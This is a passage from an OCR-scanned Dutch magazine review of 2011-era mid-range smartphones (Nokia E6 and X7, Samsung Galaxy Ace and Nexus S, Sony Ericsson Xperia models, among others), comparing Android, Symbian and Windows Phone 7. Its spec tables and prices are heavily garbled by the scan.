rij heen wandelen. LG heeft Android vooral 
optisch aangepast: de interface ziet er chic 
uit en heeft eigen widgets voor het weer en 
nieuws. Sovendien staan er op de statusbar 
meer snelkoppelingen en kun je het toepas- 
singenmenu sorteren op categorie. De toch 
al uftgebreide basisuitrusting van Android 
IS aangevuld met apps als een officesuite, 
een muziekspeler met veel functies en een 
DLNA-dient. 


Prijsdaling bij topsmartphones 


Als vergelijkingsmateriaal hebben we twee 
oudere topsmartphones in onze test op- 
genomen. Er komen echter meer dan een 
dozijn andere smartphones uit dit prijs- 
segment in aanmerking, waaronder en- 
kele met het oude Windows Phone 7. Op 
de Nederlandse markt zijn er tot nu toe 
weinig toestellen verschenen met Micro- 
softs besturingssysteem omdat er nog 
geen Nederlandse vertallng beschikbaar 
was. Daar komt nu verandering in met de 
update naar Mango - in oktober zijn de 
eerste HTC-toeste!len met deze update a I 
verschenen. 

Op het moment van schrijven zijn er nog 
steeds enkele ’oude' Windows Phone 7-toe- 
stellen met een Engelstalige interface op 
de markt, waaronder de LG Optimus 7 met 
zijn 3,8"’display en de Samsung Omnia 7 
met een kleur’ en contrastrijk AMOLED- 
display. We konden zelfs de Dell Venue Pro, 
een toestel met uitschuifbaar toetsenbord, 


nog in een Nederlandse webshop vinden. 
De LG Optimus 7 is met een straatprijs van 
214 euro de goedkoopste. Dit toestel heeft 
mechanische in plaats van sensortoetsen, 
maar verschilt wat betreft basisuitrusting 
nauwelijks van andere Windows Phone 
7-toestellem 

Ook de Nokia-smartphones C7, E7 en N8 
zijn softwaretechnisch met de update naar 
Symbian 'Anna' op niveau. De C7 en E7 heb¬ 
ben contrastrljke AMOLED-displays, de E7 
biedt bovendien een goed, in landschaps- 
modus uitschuifbaar toetsenbord. De N8 is 
een multimediasmartphone met een goede 
camera en een lange accyduur. 

Bij Android heb je meer keys, zoals de HTC 
Desire, het topmodel van HTC uit 2010, 
en de HTC Desire 2 met een uitschuifbaar 
toetsenbord. Samsung biedt de Galaxy S, 
het vlaggenschip van vorig jaar met een 
AMOLED-display en goede multimedia^ 


uitrusting. Deze toestellen hebben goede 
specificatles en kosten zo'n 300 euro. 

De LG Optimus Black heeft een eleganter 
design en een helderder beeldscherm dan 
de Optimus Speed, maar wel zwakkere 
hardware. Sony Ericssons Xperia arc en neo 
zien erbijna net zo uit als de ray. Deduurde- 
re arc heeft een 4,2'’-d!splay, de goedkopere 
neo een 3,7"-scherm. Beide hebben ook 
HDMl. De Sony Ericsson Xperia Play is met 
uitschulfbare gametoetsen zowel smart¬ 
phone als moblele s pel cons ole. Motorola's 
Defy loopt een beetje achter op de snelfe 
smartphones, maar is door de waterdichte 
behulzing wel de enige Android-smart- 
phone die geschikt is voor outdoor. Moto¬ 
rola heeft de Defy-F aangekondigd, die een 
Gigahertzprocessor moet krijgen, De Moto¬ 
rola Milestone 2 heeft een groter display, 
een hog ere resolutie en een uitschuifbaar 
toetsenbord. Zie de softllnk voor de techni- 
sche gegevens van de besproken telefoons. 


SmartpKones 


Model 

I>e5ire 

Desire Z 

Optimus 7 

Optimum Black 

Defy 

Milestotre 2 

C7 

Vetiite Pro 

Pabrik^n! 

HTC 

HTC 

LG 

LG 

Motorola 

Motorola 

Hokia 

Dell 

S&sturings- 

systeem 

Android ijj 

Android 2 J .3 

Windows Phone 7 

Android 2.2.2 

Android 2.2 

Android 2.2 

Symbian Anna 

Windows Phone 7 

Kenmerken 

Mi design en Sense- 

uitscbuiftiaar 

elegant design, 

helder, ccHitrastri|k 

water- en srofbesten- 

uitschuifbaar toetsen¬ 

AMOLEO-display met 

uitschuifbaar toet- 


Interfere, verzadigde 

toetsenbord. chique 

mechanisthe toetsen. 

display, goede muiti- 

dig, krawast display, 

bord, huge resolutie, 

krachtige kleuren, 

senbofd, goede af¬ 


kleuren 

SenseJnterface, 
slechte camera, korie 
accuduuf 

DLNA-tlient, slethte 
camera, goedkoop 

media-uitrusting 

zwakke interface 

slechte camera, lange 
accuduur 

lange accuduur.usb- 
hosi, slechte camera 

werking, chic design, 
slechte camera 

Test in rt 

&/20T0,p.44 

- 

1-2/2011, p.S8 

-- 

7-8/2011, p.38 

-- 

3/2011, p.25 

- 

Straatprijs 

€ JOS tmycom.ni) 

€274 (mobily.nl} 

€214 fphoneshDp.nl) 

€ 261 fbelsimpelnl) 

€228 

(belslmpel.nl) 

€ 41Q [helsimpeLnJ) 

€300 

fboLcom) 

€250(eKpansy5.nl) 

Model 

17 

N8 

Galaxy S 

Omnia 7 

Xperia Arc 

Xperia Neo 

Xperia Ptay 


Fabnksnt 

Hokia 

Nokia 

Samsung 

Samsung 

Sony Ericsson 

Sony Ericsson 

Sony Ericsson 


BesturiDgs- 

systeem 

Symbian Anna 

Symbian Anna 

Android 2.3.3 

Windows Phone 7 

Android 233 

Android 23.3 

Android 233 


Kenirierken 

AMOLED-display met 
krachtige kleuren, 
uitichuifhaar toetsen- 
bord, lange accuduur 

zeer goede multi- 
media-uitrusting, 
goede camera, lange 
acciiduur, slechte 
performance 

AMOLED-display met 
krachtige kleuren, 
g[>ede multimedla- 
uitJostrng 

AMOLED-display met 
krachtige kleuren, 
goede camera 

groot display, HOMI, 
goede camera 

HDMl, display met 
hoge resolutie. goede 
camera 

uitschuilbaargame- 
toetsenbord, zes voor- 
gemstalleerde games, 
lange accuduur 


Test in rt 

- 

1-2/2011, p30 

- 

- 

7-a/2on,p30 

- 

7-S/20n,p3S 


Straatprijs 

€355 

(gsmwijzer.nl) 

€375 (azerty.nl) 

€ 310f4launch.nl) 

€270 (smartphone- 
shop.nl) 

€3T7 (gigavolt.il) 

€290{s!udentmo- 

bie1.nl) 

€ 309 (phoneshop.n!) 
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Mobiele besturingssystemen naast elkaar 




Android 

Bij Android draait ailes om veelzljdigheid: 
de hardwarekeuze is groot, je hebt veel in- 
steflings- en aanpassingsmogelijkheden en 
“ misschien nog belangrijker - toegang tot 
meer dan 300.000 apps in Googles Android 
Market Alleen de App Store van Apple 
heeft meer apps. De apps dte je uit de Mar¬ 
ket installeert worden in het app-menu 
weergegeven. De belangrijkste kun je ver- 
volgens als snefkoppeling of als widget op 
je startscherm pjaatsen. Zo heb je altijd de 
meest recente weersverwachting, nieuw- 
siterns of berichten uit sociale netwerken 
binnen handbereik. 

Door het veelvoud aan kleine apps en in- 
formatiesnippers (ijkt Android een beetje 
chaotisch en onoverzichteiijk. Er ontbreekt 
een eenduidig bedieningsconcept bij alle 
apps, zoals bij Apple. Versie 2.3.4 laat als 
basisuitrusting weinig te wensen over. 
Naast een bryikbare e-mailclient met Ex- 
change-ondersteuning, een zeer goede 
browser, een simpele multimediaspeler en 
een organizer, biedt het bijvoorbeeld keu* 
rige navigatiesoftware en tethering via usb, 
Biuetooth en wian. 

De vrljheid om Android aan te passen heeft 
niet alleen voordelen. Menig fabrikant en 
provider installeert vaak irritante software 
of probeert de gebruiker naar eigen apps 
of shops te lokken. Omdat Android-updates 
pas na aanpassing door de fabrikant voor 
afzonderlljke modellen beschikbaar komen, 
duurt het vaak meer dan een maand voor- 
dat ze aangeboden worden of komen ze 
zelfs helemaal niet op je eigen toestel. 

Android-toesteflen kunnen op de computer 
worden aangesloten als massaopslag. De 
meeste fabrikanten bieden extra software 
voor synch ronisatie - die is vaak echter erg 
traag. Android werkt daarom alleen echt 
fijn met een Google- of Exchange-account, 
want daarmee kun je eenvoudig via het 
web je contacten, e-mail en agenda syn- 
chroniseren. 


Symbian 

Van de drie voorgestelde systemen gaat 
Symbian het langst mee. Het einde is ech¬ 
ter nabij: Nokia wil vanaf 2016 stoppen met 
support en updates. Daarom is het lastig 
om nog Symbian-telefoons aan te bevelen. 
Je kunt dan alleen uitgaan van de bestaan- 
de basisuitrusting. Die mag er overigens 
wel zijn: 'internet doorgeven'-functie, of- 
ficesoftware, woordenboek, foto-editor en 
zelfs een videobewerklngsprogramma zit- 
ten er standaard bij. Geen enkel ander mo- 
biel OS heeft van huis uit zoveel te bieden. 
De grootste schat is echter Ovl Maps Navi¬ 
gation. Voor deze doeltreffende en goed 
uitgeruste navigatiesoftware kun je voor 
meer dan honderd landen gratis kaarten 
downloaden. 

In de Ovi Store staan duizenden apps en op 
internet nog veel meer. Het assortiment is 
echter lang niet zo groot als dat van Android 
en vanwege het sombere toekomstperspec- 
tief zal er ook niet vee! meer bijkomen. 

Het systeem biedt talrijke opties, maar daar 
profiteer je alleen als ervaren gebruiker van 
omdat de opties moeilijk te vinden zijn in 
de totaal niet intuTtieve interface. De Symbi- 
an-versie Anna is wel volledig geschikt voor 
touchscreens en probeert met zijn start- 
schermen die geschikt zijn voor widgets 
en een elegant apps-overzicht een beetje 
op Android en dergelijke te lijken. Je moet 
echter te vaak drie of vier vingeraanrakin- 
gen teveel doen om te komen waar je wilt 
zijn. Veel submenu's bevanen afgebroken 
en onduidelijke tekstregelsen zitten diep in 
het menu. 

Symbian gebruikt de hulseigen Ovhdien- 
sten en Exchange-servers om te synchroni- 
seren. De ietwat trage pc-software Nokia Ovi 
Suite maakt het mogelijk om verschillende 
media te synchroniseren, sms-en lokaal op 
te slaan en contacten met Outlook enlhun- 
derblrd te synchroniseren, Bovendien kun je 
daarmee apps vanaf de computer downloa- 
den en op de telefoon installeren. 


Windows Phone 7 

Net chique Windows Phone 7 heeft geen 
vensters: je switch met een horizontaie of 
verticale veeg tussen categorleen, toepas- 
singen en instellingen, alsof je een micro¬ 
film onder de loep been en weer schuift. 
Het uitgangspunt is het startscherm waar- 
op snelkoppel ingen en apps-categorieen 
als tegels aaneengeschakeld zijn, Microsoft 
laat in de galerij Microsoft bijvoorbeeld 
Fa ce boo k-afbeeld ingen zien en zet contact- 
gegevens en berichten uit webdiensten in 
het adresboek. 

Het instaileren van extra apps verstoort het 
beeld bijna: de lijst met programma's wordt 
aj snel onoverzichteiijk. In de Marketplace is 
sowiesQ nog niet buitengewoon veel te vin¬ 
den. De apps zijn vaak erg duur en bieden 
niet zoveel functies. 

De chique interface en een omvangrijke of¬ 
fice-editor kunnen de nogal geringe functi- 
onaliteit echter niet verbloemen. De brow¬ 
ser is de slechtste in de test en ondersteunt 
geen Flash. Muziek- en vldeospelers zijn 
nogal simpel, tethering ontbreekt, evenals 
navigatiesoftware die meer biedt dan ele- 
mentaire kaarten. In de onlangs versche- 
nen update 7.5 zijn enkele van de groot¬ 
ste gebreken opgelost. Deze versie heeft 
onder meer een betere browser, beperkte 
multitasking en meer instelopties voor 
de displaytegels. Helaas staat het mobiele 
besturingssysteem hiermee nog steeds niet 
op gelijke hoogte met de huidige systemen 
van deconcurrenten, 

Het lokaal synchroniseren van e-mailberich- 
ten en contacten is niet mogelijk. In plaats 
daarvan moet je synchroniseren met Ex¬ 
change, Sharepoint-diensten of Windows 
Live. Het opslaggeheugen van de telefoon 
is alleen via het behoorlijk geheugenlnten- 
sieve Windows-programma Zune toegan- 
kelijk of op de Mac via de Windows Phone 
7 connector. Beide computerprogramma's 
kunnen audiobestanden, video's en afbeel- 
dingen synchroniseren. 
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Nokia E6 

De Nokia E6 heeft verdacht veel weg van 
een Blackberry: een klein display in land- 
schapsfornnaat met daaronder een toetsen- 
bord. De solide behuizing van edelstaal met 
glazen front ligt goed in de hand en maakte 
in de test de meest stijlvolle indruL De toet- 
sen zijn verlicht en hebben een zeer goed 
drukpunt, waardoor je ook langere teksten 
viot en makkeiijk kunt typen. Door de grote 
spatiebalk, leestekens, navigatieknoppen en 
sensortoetsen is de Qwerty-indeling handig 
voor de organizer-functies* 

Symbian Anna is goed op toetsenbord- 
bediening berekend, maar toch moet je 
af en toe terugvallen op het capacitieve 
touchscreen. Erg vrolijk word Je daar niet 
van omdat de virtuele bedieningsknoppen 
wat aan de kleine kant zijn. Optlsch is de 
omzetting van de nieuwe Symbian-versie 
naar landschapsformaat echter goed gelukt 
dankzij 640 x 480 pixels op het slechts 2,5 
inch grootte scherm worden teksten klein, 
maar uiterst scherp weergegeven. De E6 
heeft met 326 dpi zelfs bijna dezelfde reso- 
lutie als de iPhone 4. Dankzij de hoge helder- 
held van 405 cd/m^ is het display bovendien 
helder genoeg en in direct zonlicht nog 
enigszins leesbaar. Om de maximale helder- 
held te bereiken, moet je de lichtsensor we! 
uitzetten en dat lukt alleen via aanvullende 
software als het gratis Light Ctrl (zie softiink). 

Het surfen op grotere websites verloopt 
traag en schokkerig. Complexere websites 
zijn voor de E6 teveel van het goede. Posi- 
tievG eigenschappen zijn de lange accuduur 
en de opvallend goede camera. De foto's en 
video's van de 8-megapixel cam era vertonen 
erg weinig detailverJies, hebben een hoge 
scherpte met weinig kleurruis, maar zien er 
desondanks ietwat bleek uit 

Nokia X7 

De X7 is met een 4 Inch OLED-display No- 
kla's grootste touchscreen smartphone. Het 
scherm geeft de kleuren krachtig weer en 
biedt een hoog contrast Met 517 cd/m^ is 
het display bijna net zo helder als een zak- 
lamp en dat is vooral bij direct zonlicht goed 
te merken. Net als bij de E6 kun je dat alleen 
bereiken door de lichtsensor met aanvul- 
lende software uit te schakelen, aangezien 
deze zeffs bij daglicht onder de 250 cd/m^ 
blijft Als je de kijkhoek ook maar enigszins 
verandert, verschijnt er een groene waas op 
het display. 

De X7 zou dankzij het grote display prima 
geschikt moeten zijn als multimediasmart- 
phone, maar de lage resolutie van 640 x 360 
beeldpunten (187 dpi) gooit roet in het eten. 
Voor het bekijken van video^s en surfen is 
dat te weinig: teksten zijn niet goed leesbaar 
en afbeeldingen zien er nogaf pixelig uit. 
Ook de performance van de browser en bij 
games is niet om over naar huis te schrijven. 
Net voorgeinstalleerde Asphalt HD draait 
ondanks de lage resolutie schokkerig en op 
complexe websites is nauwelijks te navige- 



LG Optimus Speed: snelle hardware, 
goed display, HDMI-uitgang, 


Nokia E6: zeer goed toetsenbord, klein 
display maar hoge resolutie, veel functies, 
hoogwaardige afwerking. 


1 Midden klasse-smartphones 


Model 

7 Pro 

ChaCha 

Fabrlkaiit 

HTC, 

HTC, 

Afneting^n (1 x h x h), gewicfii 

www.htccom/rvi 

11,7 cm X S,9 cm x t,6 cm, lE6g 

www,htccom/ni 

11,4 cm X 7 cm X 1,2 cm, 126 9 

/ inierfac? 

Windows Phone 7 

Arvdroid 2.3.3 / Sense 2.1 for Messertger 

Processor / ternen / kloksnelheid 

Qualcomm Snapdragon /1 /1 GHz 

{luaicommM5M7227/l/800 MHz 

Gr^fische chip 

AdrenoZOO 

Adreno200 

RAM-geheugen / flash 

576 MB/7,2 GB 

512MB/512MB 

Extern geheugeo / meegeleverd 1 roaxiinaal 

- 

MicroS0HC/-/J2GB 

Displaytechniek i (bmiaat 

liD spiegelend / 7,9 cm x 4i cm (3,6 inch) 

LCD spiegelend / 5,5 cm x 3,7 cm [2,6 inch) 

Dlsplayresolutie ! kleurdiepte 

800x4^0(257 dpi) 

480 x 320 (222 dpi) 

Wian / Bluetooth/A-GPS 

E02.il b/g/n/11/^ 

802.11 b/g/n/3.0/^ 

Touchscreen / multitouch t mecb. toetsenbord 

v^/s//^ 

^/^/^ 

Downbnk/uplink^ 

7,2 Mbit/s/2,0 Mbit/s 

7,2 Mbit/s/3S4 kbit/s 

SAR-waande^ 

1,63 W/kg 

g.D. 

Bijzonderheden 

uitsdiuifbaar toetsenbord 

Facebook-knop 

Multimedia 

CanvefareioJuEie foto's / video's 

2592x1944/1280x720 

2592x1952/720x480 

Autofocus / foto-led / flits / zelfonts{w oner 


'>/ f '</ 

Touchfocus 1 mechaoische afdrukknop / geotagging 



Resolutie frontcameia foto's / yideo's 

- 

640x480/640x480 

Audjoformaten 

AAC, MP3,WMA 

AAC, MIDI, MP3, MG, WAV, WMA 

Videoformalen 

H.26iDivX,XviD,WMV 

H.263, H.264, MPEG4, DivX, XvIO, WMV 

Flash/DINA gei ostalleerd 



Usb/wian-tethering 

-/- 

^ /^ 

Metmgen 

mio.... max. hdderheid 

11...1S6cd/m^ 

1S...J40cd/m^ 

Accuduur videoweergave bij norm.^ / max. heiderheid 

S,9u/4,6u 

8,5y/4,3u 

Accuduur wiao-surfen / games (normale heiderheid)^ 

ll,4u/3,9u 

9u/4,8u 

Laadtijd / accuduur na 1 uur laden* 

I8u/3,2u 

13tt/4,lu 

Beouideling 

Bediening / snelheid 

©/© 

©/© 

Display / uttrusting 

0/0 

0/0 

Accuduur 



Multimedia/camera 

O/© 

0/0 

Siraatprijs 

€S0S[be1simpelnl) 

€211 (azerty.ni) 

^ volgera debbrikant ^ normale heiderheid: 200 cd/m^, accuduur bi| Reckless Racing ofvergetijkbare racegames 

haadtijd in stand-b/modus, accuduur op basis van videoweergavE 

©S zeer goed ©goed O voldwnde © siecht ©©zeerslecht aanweiig - niet aanwezig g:o.geen(Wve 
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Test I Smartphones 



Nokia X7: contrast- en kEeurrijk display, 
goede camera, groot touchscreen. 



Samsung Galaxy Ace: geslaagde 
interface, slechte camera, korte ac- 
cuduur. 


ren. Net als bij de E6 zijn de foto's en video's 
van de 8-megapixelcamera gedetailleerd en 
scherp, maar ook een beetje flets. 

Met design van de Nokia X7 onderscheldt 
zich van de andere smartphones door een 
licht gebogen achterkant, een behoorlijk 
brede behuizing en schuine hoeken. Sym¬ 
bian Anna ziet er een heel stuk overzichtelij- 
ker uit dan op de E6 en is goed te bedienen 
via het touchscreen. Daar werken standaard- 
apps als de foto-editor, de videobewerking 
en de Ovi-kaarten prima. Bij kleinere bedie- 
nlngselementen zoals het toetsenbord in 
portretmodus of het urbvenster gaat de in- 
voer nogal eens mis. 

Samsung Galaxy Ace 

Op het eerste gezkht ziet de Galaxy Ace er 
uit als een plastic iPhone. Het toestel heeft 
een 3,S'-display, een rechthoekig design 
met afgeronde hoeken en een metallic rand. 
Ook de menustructuur en de gebruikte pic- 
togrammen lijken op die van de iPhone. 
Daarachter gaat een handzame Android- 
smartphone metSamsungs Touchwlz-lnter- 
face schoiL Deze heeft naast optische aan- 
passingen ook een paar handige apps zoals 
een officesuite, een DLNA-client en Social 
Hub voor het bundelen van berichten uit 
soctale netwerken. De toetsenbordinvoer- 
methode Swype is al voorgeTnstalleerd. Met 
een paar vegen over het toetsenbord kun Je 
woorden vormen zonder je vinger van het 
scherm te halen. Dat werkt meestal sneller 
dan gewoon typen. 

De hardware-uitrustlng van de Galaxy 
Ace behoort tot de onderste regionen 
van de middenklasse. Het display geeft de 
kleuren goed weer, maar is niet bijzonder 
contrastrljk of helder en heeft slechts een 
resolutie van 320 x 480 pixels. De 5-mega- 
pixelcamera maakt bruikbare foto's, maarde 
ontspanvertraging bedraagt bijna een voile 
seconde. De maximale vldeoresolutie van 
de camera is 320 x 240 pixels, waardoor de 
video's niet eens geschikt zIjn als webclips. 

De SOOMHz-processof is in elk geval 
krachtig genoeg en loopt slechts bij een 
paar toepasslngen als videostreams, com- 
plexe websites en HD-video's tegen zijn 
grenzen aan. Over het algemeen kun je alles 
goed bedienen en het touchscreen reageert 
nauwkeurig. Het grootste manco is de accu- 
duur, die het net 4,5 uur volhoudt bij het 
afspelen van video's. Dat is minder dan ge- 
middeld en betekent dat Je de smartphone 
bij intensief gebruik elke avond moet opla¬ 
den. 

Samsung Google Nexus S 

De Nexus-modellen zijn de referentietoe- 

stellen van Android die door Google zelf In 
een wisselend samenwerkingsverband met 
smartphonefabnkanten ontwikkeld wor- 
den. De Nexus S werd samen met Samsung 
ontworpen, waarbij Samsung de interface 
van Android 2.3.4 niet heeft aangepast. Het 
toestel voldoet helemaal aan de richtfijnen 


Optimus Speed 

LG, 

wwwtg.com/nl / 


Wikffir«S 

HTC, 

www.hiccQm/til 

1D,1 m X M tm X 1,3 cm, 105 g 

Android 2 J3/HTCSonsen 

Qualcomm IVISM7227/1/600MHz 

A(freno20Q 

512 MB/512 MB 

MicroSDHC/2 GB/32 GB 

LCD spiegelerd / 6,8 on x 4,6 cm {3,2 inch) 

480X320 {180 dpi) 

802.11 b/g/n/3.0/v^ 

s//v^/- 

7,2 Mbit/s/384 kbit/s 
0,9W/kg 


2592x1932/640x480 

^//x//-/v^ 

AAC MIDI, MP3, OGG, WAV. WMA 

H. 263, H.264, MPEC-4. DivX, XviD. WMV 

l8..J36cd/m^ 

43u/3,2u 
6,3u/4li 

I, 4(J/3,3lj 

0/0 
0/0 
©0 
©/© 

€203{mobFly.ol) 


12,4aiix6,4cmxljcm,144g 

Android 2.22/OptimuslJl 

NMaTegra 2/2/1 GHz 

NVidia ULP GeForce 

S12MB/7Ge 

MkraSDHC/~/J26B 

LCD spiegeleod / 8,7 cm x 5,8 on (4 indr) 

800x480a34dpi) 

302.11 b/g/n/^//^ 

7,2 Mbii/s/5,7 Mbit/s 
0,9W/k9 

duakoreprotessor, HOMl {lOSOp) 

3264 x 2448/1092x1080 

1280 x 960 / 640 x 480 

AAC, MIDI, MP3,06G, WAV 

H,263, H.264, MP£Gr4, DivX, KviD, MOV, WMV 

s//y 

^ (k/ 


E6 

Nokia, 

www.nijki3.nl 

11,5 cm X 5,9 CIO X 1,2 cm, 133 q 

Symbian3Anna 

g,o./1/680 MHz 

go- 

256MB/8GB 

Miao50HC/-/32GB 

LCD spiegelend / 5,1 cm x 3,8 cm (2,5 Inch) 

640 x 480 (325 dpi) 

eoznb/g/n/3.o/v' 

10,2 Mbit/s/2,0 Mbit/s 
1,14W/kg 

osb nn-the-go, gratis offline-kaarten 
3264 x 2448/1280 x 720 

640 X 480 / 640 X 480 

AAC,MP3,WAV,WMA 

H763. Hi64, MPEGA DivX, XviD, WMV 

nasb lite/- 

y fy 

109,..405Kt/m^ 

7,8u/6,3iJ 
5,4u76,8u 
1,4 u/5,6 11 


7,,.341cd/m^ 
6,9 u/5,5 u 
7,711/3,8 u 
1,711/4,611 

©© /©@ 


€299 (phoneshop.nl) 


0/0 

©/© 


©/© 

€269(5tudentmobjeLnl) 
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van Google en dus kun je ervan uitgaan dat 
er gedurende lange tijd regelmatig updates 
voor je smartphone zullen verschijnen, Het 
nadeel is dat het toestel heel basic is oitge- 
rust met apps en widgets. Je moet dus zelf 
het systeem verder uitbreiden met apps 
uit de Market. Dankzij de IGHZ’processor 
draalt de gebruikersinterface uiterst soepei 
evenals 3D-games en het weergeven van 
inteinetsites, Het driedrmensionale hoofd- 
menu vertoont alleen lichte schokken als er 
veel apps zijn geinstalleerd. 

Het zwartglanzende uiterlijk gaat naad- 
loos over in de donkere interface van An¬ 
droid 23.4. Het toestei voelt hoogwaardig 
aan en ligt dankzij de afgeronde hoeken 
goed in de hand. Door de enigszins naar 
blnnen gewelfde voorkant kun je het toe¬ 
stel makkelijk met een hand vasthouden en 
tegelijkertijd bedienen. De kleuren van het 
LCD-scherm zijn van gemiddelde kwaliteit. 
Het scherm is helder genoeg en nog goed 
leesbaar in direct zonlicht* Ook de camera 
aan de achterkant is redelijL De accuduur 
van 8,5 uur bij de videotest is zelfs een van 
de langste in detest 

Samsung he eft het toestel voorzien van 
16 GB flashgeheugea maar je kunt het op- 
slaggeheugen niet uitbreiden omdat een 
kaartslot ontbreekt. De Nexus S is verkrijg- 
baar met een zwarte of witte achterkant en 
Samsung verkoopt ook een versie met een 
contrastrijk, maar donker AMOLED-dlsplay. 
Deze is echter in Nederland nog niet ver- 
krijgbaar. 

Sony Ericsson Xperia mini pro 

Het kieinste apparaat in de test is meteen 
ook het dikste: door het mechanische toet- 
senbord en het slider-mechanisme is de 
Xperia mini pro IS millimetef dik. Zolang 
de slider ingeklapt is, voelt het apparaat 
een beetje gammel aan. Dat komt omdat 
de boven- en onderzijde ten opzichte van 
eikaar verschuiven als je het beeldscherm 
wWx activeren via de ontgrendelknop bo- 
venop het toestel De toets is alleen met de 
vingertoppen te bereiken, heeft veel spe- 
ling en je moet hem flink hard indrukken. 
In het dagelijks gebruik werkt dat erg ver- 
velend. 

De Xperia mini pro maakt een solide in- 
druk als het toetsenbord is uitgekfapt Het 
ligt goed in de hand en het toetsenbord 
heeft duldelijke drtikpunten. Ondanks de 
zeer kleine toetsen, druk je zelden de ver- 
keerde knop in en na wat oefening typ je 
snelfer dan met het schermtoetsenbord. 

Sony heeft de interface van Android 2.3.3 
flink aangepast: in de hoeken van het start- 
scherm staan snelkoppelingen naar belang- 
rijke functies zoals berichten, mediaspeler 
en contacten* Deze verdwijnen als je er een 
widget overheen \egt Je kunt dus tel kens 
tot vier snelkoppelingen naar toepassingen 
instelien. Verder ontbreken enige standaard 
aanpassingsmogelijkheden, zoals het uit- 
zetten van de lichtsensor. Voor het sur- 
fen op internet is het kleine beeldscherm 



Samsung Google Nexus S: vroege up¬ 
dates, mooi hoogglans design, snelle 
interface. 


slechts beperkt geschikt, op complexere en 
niet geoptimaliseerde websites Is het voort- 
durend moeten scrollen heel storend. De 
accuduur en de kwaliteit van de camera zijn 
bovengemiddeld goed. 



Sony Ericsson Xperia mini pro; mechanisch 
toetsenbord, kleine af met ingen, lange ac¬ 
cuduur. 


Sony Ericsson Xperia ray 

De faelde Xpeha's zijn niet met eikaar te ver- 
gelijken. De mini pro doet nogal dik en log 
aan, maar de ray is de dunste en een van de 


1 Midden klasse-smartphones 




n 

GalaicyAce 

Fabrik^nt 

Kokla, 

Samsung, 


wwvw.nokia.nl 

www.samsun 9 .ni 

Afmeiinger (1 x b x li), gewidit 

12 cm X 6,3 cm X 1,2 cm J46g 

11,2 cmx 6 aTixl 2 cm, 1 i 2 g 

Besturingssysieem / interlace 

Symbian 3 Anna 

Android 22.1 / Touch Wiz 

Processor / kernen / klokstielheid 

g.o ./1 /680MFfz 

MSM7227-1Turbo/l/S00MHz 

Graflsche chip 

g.a 

■Adreno 200 

RAM geheugen/flash 

256 M8/350 MB 

g,o,/T50MB 

Ertem geheugen / meegeievetd / maximaal 

MtcroSDHC/8G8/32GB 

MicroSDHC/2 GB/32 GB 

Dr5playte£hn1ek/“foTinaat 

AMOLED spiegelertd / S,7 cm x 4,9 cm 

LCD spiegelend / 7,4 cm x 5 cm f3,S inch) 

Displayresolutie / kleurdiepte 

[4 inch) 

640 X 360(187 dpi) 

480X320 (165 dpi) 

WEar»/eiuetWtfl/A-GPS 

802.11 h/g/n 7 3.0/v/ 

802.11 h/g/n/ 2 . 1 /^ 

Touchscreen / multitouch / mech. roetserbord 

f^/ f - 


Downlink / uplink^ 

10,2 Mbit/s/ 2 , 0 Mh]t/s 

7,2Mblt/s/3S4kblt/s 

SAR-waarde’ 

0.94W/kg 

0,84W/kg 

Bijzonderheden 

usb on-the-go. tv-out via jackplug, gratis 

- 

Multimedia 

offline kaarten 


Cameraresolutie foto's / video's 

3264x2448/1230x720 

2560x1920/320 x 240 

Autofocus / foio-ied / flits I zelfuntspanner 

v// -/-/./ 


Touchfocus / mechanische afdrukknop / geotagging 

- /%/ /^ 


Resolutie frcintcamera foto's / video's 


- 

Audioformaten 

AAC,MP3,WAV,WJV1A 

AAC, MIDI, MP3, OGG, WAV 

Videoformateo 

H.263, H.264, MPEG-4, DrvX, XviD, WMV 

H.263, H,264,MPEC4,XviD 

Flash/DLN A geinstalleerd 

Flash Lite / - 

^ /^ 

Usb-/ wlan “tethering 

v^/v/ 


Metfngeri 

min.,., mas. helderheid 

l(]6...517cd/m^ 

62...266cd/m^ 

Accuduur vldeoweergave blJ narni.^ / inaK. hetderheld 

7,8u/4,1u 

4,6 u/3,1 u 

Accuduur wlan-surfen f games (ntinnale heiderheid)^ 

4.51J/43U 

7,4 u/3,8 u 

Laadtijd / accuduurna 1 uur iaden^ 

1,6u/4,9u 

l,8u/2,5u 

Beooidding 

Bediening / sneiheid 

0/0 

®/o 

Display / uitrusting 


G/O 

Accuduur 

o 

© 

Muitimedla / camera 

o/@ 

0/0 

Straatpiijs 

€339{phoneshop.ni) 

€2l6(studentmobielr1) 


^ volgens de fabrlksfvi ^ rrormale hefderheid: 200 accuduur bt) Reckless Racing ofvergeJijkbare ricegames 
^ la^Uld In stand-hymed us, accuduur np basis van videoweergave 

zeer goed @ goed O vtldoende © slechi ©©zeerslechi aaowezig ~ nietaanwezig g, o. geen opgave 
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Test I Smartphones 



Sony Ericsson Xperia ray: uitstekende 
camera, zeer goed display, slankdesign, 
langeaccuduur. 


meest elegante smartphones In onze test. 
Net zeer goede display vormt een afgerond 
geheel met de behulzing. Het hoge con¬ 
trast en de krachtige kleuren worden alleen 
overtroffen door het AMOLED-dlsplay van 


de Nokia X7. Voor een 3,3'’-display met 854 
X 480 pixels [294 dpi) is de resolutie zeer 
hoog. 

Door het kleine beeldoppervlak is sur- 
fen op internet echter moeizaam* Als een 
website niet voor mobiele apparaten is ont- 
wikkeid, moet je veelvuidig scrollen en zoo- 
men. Als een pagina dan ook veel afbeel- 
dingen of geanimeerde elementen be vat, 
bederven het schokkerig afspelen en de 
lange laadtljden het surfplezier. De browser 
speelt Flash wel af, maar veel video's lopen 
vast. 

De ray heeft de fangste accuduur van a lie 
geteste telefoons. Pas na 11,6 uur draadloos 
internetten met een gemiddelde helder- 
heid was de accu leeg. Foto's die je binnens- 
huis maakt, zijn zelfs bij slechte tichtom- 
standigheden nog zeer scherp, contrastrijk 
en kleurgetrouw. De foto's met de 8-mega- 
plxelcamera zijn dan ook de beste uit de 
test. Sovendien drukt de camera met 0,3 se“ 
conden zeer snel af. De buitenfoto's zijn nIet 
20 goed: de randen zijn een beetje soft en 
de kleuren zijn wat matter. Desondanks zijn 
ook hier de resultaten nog bovengemid- 


deld. Ook HD-video's zien er goed uit, maar 
pas nadat Je de beroerde beeldstabilisator 
hebt uitgezet. 

Sony Ericsson heeft de vioeiend draai- 
ende Android'interface lang niet zo ingrij- 
pend aangepast als bij de mini pro. Voor 
Android-gebruikers voelt alles vertrouwd 
aan. Timescape verzamelt nieuwtjes uit so- 
ciale netwerken en geeft deze op fraat ge¬ 
animeerde wijze weer. Leuk, maar zonder 
veel meerwaarde, 

Conclusie 

In een directe vergelijking doen de vroe- 
